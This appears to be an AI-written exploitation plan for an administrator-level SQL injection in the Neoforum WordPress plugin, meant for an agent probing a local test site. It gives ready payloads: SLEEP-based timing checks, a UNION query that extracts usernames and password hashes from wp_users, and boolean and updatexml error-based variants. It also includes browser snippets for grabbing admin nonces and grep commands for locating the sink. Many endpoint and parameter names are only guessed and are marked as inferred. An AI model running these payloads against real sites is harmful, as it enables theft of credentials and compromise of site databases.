Since source files for Neoforum <= 1.0 were not provided in the prompt, this research plan is based on the vulnerability description and common patterns found in forum plugins of this era. All identifiers marked with (inferred) must be verified by the agent using the provided discovery commands.

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Exploitation Research Plan: CVE-2026-24624 (Neoforum SQL Injection)

1. Vulnerability Summary

The Neoforum plugin for WordPress is vulnerable to SQL Injection in versions up to 1.0. The vulnerability exists because the plugin fails to properly sanitize or parameterize user-supplied input before incorporating it into a database query. Specifically, an administrative action (likely related to forum or topic management) accepts a parameter that is directly concatenated into a $wpdb query string.

Because the vulnerability requires Administrator privileges, it is likely located in the plugin's dashboard settings or moderation AJAX handlers.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php (for AJAX actions) or /wp-admin/admin.php?page=neoforum (for standard POST/GET handlers).
• Vulnerable Action: (Inferred) neoforum_delete_forum, neoforum_update_category, or neoforum_save_settings.
• Vulnerable Parameter: (Inferred) id, forum_id, or order.
• Authentication: Administrator-level account required.
• Payload Type: UNION-based or Time-based Blind SQL Injection.

3. Code Flow Discovery

The agent must first identify the sink. Use the following commands to locate the vulnerable code path:

1. Identify Entry Points:

   grep -rnE "wp_ajax_neoforum|admin_menu|admin_init" wp-content/plugins/neoforum/
   

2. Locate SQL Sinks:
   Look for direct variable interpolation in $wpdb calls within those handlers:

   grep -rP '\$wpdb->(query|get_results|get_row|get_var|get_col)\s*\(\s*["\'].*?\$' wp-content/plugins/neoforum/
   

3. Trace Input:
   Follow the variable inside the identified function to see if it originates from $_GET, $_POST, or $_REQUEST without being wrapped in absint(), intval(), or $wpdb->prepare().

4. Nonce Acquisition Strategy

Administrative actions in WordPress are almost always protected by nonces. The agent will use the browser context to extract the required nonce.

1. Identify the Admin Page: Navigate to the Neoforum settings page: /wp-admin/admin.php?page=neoforum (inferred).
2. Find Nonce in JS or HTML:
   • If AJAX-based: Look for localized script data.

     // Example discovery command in browser_eval
     browser_eval("window.neoforum_admin?.nonce || window.neoforum_data?.nonce")
     

   • If Form-based: Look for the _wpnonce hidden input field.

     browser_eval("document.querySelector('input[name=\"_wpnonce\"]')?.value")
     

3. Identify Action String: Check the PHP source to ensure the nonce being extracted matches the one verified (e.g., check_ajax_referer('neoforum_admin_action', 'security')).

5. Exploitation Strategy

Assuming a vulnerable AJAX action named neoforum_delete_forum (inferred) and a parameter forum_id (inferred):

Step 1: Authenticate as Admin

The agent will log in to /wp-login.php using the provided administrator credentials.

Step 2: Time-Based Verification

Confirm the injection point using a SLEEP() payload via http_request.

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=neoforum_delete_forum&security=[NONCE]&forum_id=1 AND (SELECT 1 FROM (SELECT SLEEP(5))x)
  

• Expected Result: The request should take approximately 5 seconds to complete.

Step 3: Data Extraction (UNION-based)

If the query results are reflected in the response, use a UNION payload to extract the administrator's password hash.

• Body:

  action=neoforum_delete_forum&security=[NONCE]&forum_id=-1 UNION SELECT 1,user_login,user_pass,4,5,6 FROM wp_users WHERE ID=1-- -
  

  (Note: The number of columns must be determined by the agent by incrementing NULLs or using ORDER BY).

6. Test Data Setup

To ensure the SQL query has a valid row to operate on:

1. Activate Plugin: wp plugin activate neoforum
2. Create Forum Data: Use WP-CLI to insert at least one record into the plugin's custom table if it doesn't happen automatically.

   # Inferred table name
   wp db query "INSERT INTO wp_neoforum_forums (title, description) VALUES ('Test Forum', 'Research')"
   

7. Expected Results

• Verification: The http_request tool reports a response time matching the SLEEP() value.
• Exfiltration: The response body contains the string $P$ (standard WordPress phpass hash) or the administrator's username.

8. Verification Steps (Post-Exploit)

Confirm the vulnerability exists by checking the SQL logs or re-verifying the code path:

1. Check DB State: Ensure no unintended deletion occurred if using a DELETE sink.
2. Check for Sanitize Functions: Use grep to confirm the vulnerable parameter is not wrapped in intval().

   grep -n "forum_id" wp-content/plugins/neoforum/[FILE_FROM_STEP_3]
   

9. Alternative Approaches

If UNION-based injection fails (e.g., no output reflected):

• Boolean-Based Blind: Compare response lengths between forum_id=1 AND 1=1 and forum_id=1 AND 1=2.
• Error-Based: Use updatexml() or extractvalue() to force the database to leak information in the error message if WP_DEBUG is on.
  • Payload: 1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1)